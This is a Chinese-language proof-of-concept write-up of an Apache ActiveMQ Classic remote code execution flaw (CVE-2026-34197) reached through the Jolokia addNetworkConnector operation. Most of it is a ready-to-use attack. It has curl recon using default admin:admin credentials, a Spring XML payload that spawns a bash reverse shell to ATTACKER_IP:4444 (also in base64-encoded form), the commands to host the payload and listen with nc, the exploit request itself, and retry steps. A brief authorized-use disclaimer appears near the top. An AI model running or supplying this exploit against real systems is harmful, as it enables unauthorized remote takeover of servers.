addNetworkConnector RCE针对 CVE-2026-34197 的概念验证与技术说明,该漏洞是 Apache ActiveMQ Classic 中可通过 Jolokia JMX-HTTP 桥接触发的远程代码执行漏洞。
conf/jolokia-access.xml)对所有 org.apache.activemq:* MBean 授予了 exec 权限。其中包括 Broker.addNetworkConnector(String),该方法接受一个 vm:// 传输 URI,broker 会获取并解析其 brokerConfig 查询参数,将其作为 Spring XML bean 定义文件 处理。当 bean 的类为 java.lang.ProcessBuilder 且带有 init-method="start" 时,会在 Spring 解析 bean 图的过程中被实例化——并启动。无需反序列化 gadget 链。⚠️ 仅供授权测试/研究/CTF 使用。请勿针对你不拥有或未经明确许可的系统运行此漏洞。
curl -s http://$TARGET:8161/ | grep -oiE 'activemq[^<]*[0-9]+\.[0-9]+\.[0-9]+'
curl -s -u admin:admin "http://$TARGET:8161/api/jolokia/version" | python3 -m json.tool
确认 Broker MBean 上确实可以访问 exec:
curl -s -u admin:admin "http://$TARGET:8161/api/jolokia/list/org.apache.activemq:type=Broker,brokerName=localhost" \
| python3 -m json.tool | grep -A3 addNetworkConnector
addNetworkConnector(String) 不接受裸的 vm://... URI——它会先被解析为 discovery-agent URI,而 vm 不是已注册的 discovery 协议(DiscoveryAgent scheme NOT recognized: [vm])。请将其包装在 static:(...) 中,这是 ActiveMQ 的静态发现协议,它会将内部的 vm:// URI 原样传递:
static:(vm://evil?brokerConfig=xbean:http://ATTACKER_IP:8000/poc.xml)
poc.xml:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pwn" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
需要 <![CDATA[...]]> 包装,因为反弹 shell 单行命令包含 &,XML 会尝试将其解析为实体引用的开头。另一种无需转义的等效方案是将命令进行 base64 编码:
<value>echo YmFzaCAtaSA+JiAvZGV2L3RjcC9BVFRBQ0tFUl9JUC80NDQ0IDA+JjE=|base64 -d|bash</value>
托管该文件:
python3 -m http.server 8000
启动监听器:
nc -lvnp 4444
curl -s -u admin:admin \
-X POST "http://$TARGET:8161/api/jolokia/" \
-H "Content-Type: application/json" \
-H "Origin: http://$TARGET:8161" \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "addNetworkConnector(java.lang.String)",
"arguments": ["static:(vm://evil?brokerConfig=xbean:http://ATTACKER_IP:8000/poc.xml)"]
}'
Origin 头很重要。 如果该版本的 jolokia-access.xml 启用了 CORS 强制(即使是一个空的 <cors></cors> 块),Jolokia 要求对状态变更请求提供格式良好的 Origin/Referer。省略它,你会收到策略拒绝的响应,这可能看起来像是目标已修补,但实际上并未修补。
成功调用返回:
{"value":"NC","status":200}
该调用在 HTTP 上是盲注的——响应体中不携带命令输出——因此上一步中的监听器才是真正捕获 shell 的地方。
InstanceAlreadyExistsException 陷阱addNetworkConnector(String) 始终将生成的 JMX 对象注册在连接器名称 NC 下,无论你传入什么 URI。这是 ActiveMQ 本身硬编码的默认值,并非从请求中派生:
// NetworkBridgeConfiguration.java (NetworkConnector extends this class)
private String name = "NC";
BrokerViewMBean.addNetworkConnector(String discoveryAddress) 从未提供覆盖它的方式——没有任何名称/查询参数技巧可以更改注册的 ObjectName(已手动测试:在 static:(...) 包装之外追加 ?name=whatever 会被静默忽略)。
后果:第二次调用 addNetworkConnector——无论是你在 payload 失败后的重试,还是仅仅因为连接器已从之前成功的运行中注册——都会失败:
{
"error_type": "java.io.IOException",
"error_type_jmx": "javax.management.InstanceAlreadyExistsException",
"error": "Network Connector could not be registered in JMX: org.apache.activemq:type=Broker,brokerName=localhost,connector=networkConnectors,networkConnectorName=NC",
"status": 500
}
这不需要重启 broker 来恢复。Broker 还通过相同的 Jolokia 策略暴露了 removeNetworkConnector(String)(org.apache.activemq:* 上的 <allow operation="*"> 授权覆盖所有 broker 操作,而不仅仅是这一个)。按名称清除过期的连接器并重试:
curl -s -u admin:admin \
-X POST "http://$TARGET:8161/api/jolokia/" \
-H "Content-Type: application/json" \
-H "Origin: http://$TARGET:8161" \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "removeNetworkConnector(java.lang.String)",
"arguments": ["NC"]
}'
成功调用返回 {"value":true,"status":200}。立即重新运行步骤 3——它会重新注册 NC 并再次触发 poc.xml。
admin HTTP Basic 凭据对应的身份,后者与操作系统账户无关。addNetworkConnector 不仅运行一次 Spring bean——它还会在 broker 上留下一个活动的网络连接器对象(org.apache.activemq:type=Broker,brokerName=localhost,connector=networkConnectors,networkConnectorName=NC)。这是利用后留下的持久性痕迹,与生成的进程本身是否持久无关。NetworkBridgeConfiguration.java — private String name = "NC"; 默认值的来源BrokerViewMBean.java — addNetworkConnector / removeNetworkConnector JMX 接口NetworkConnector.javaDiscoveryNetworkConnector.java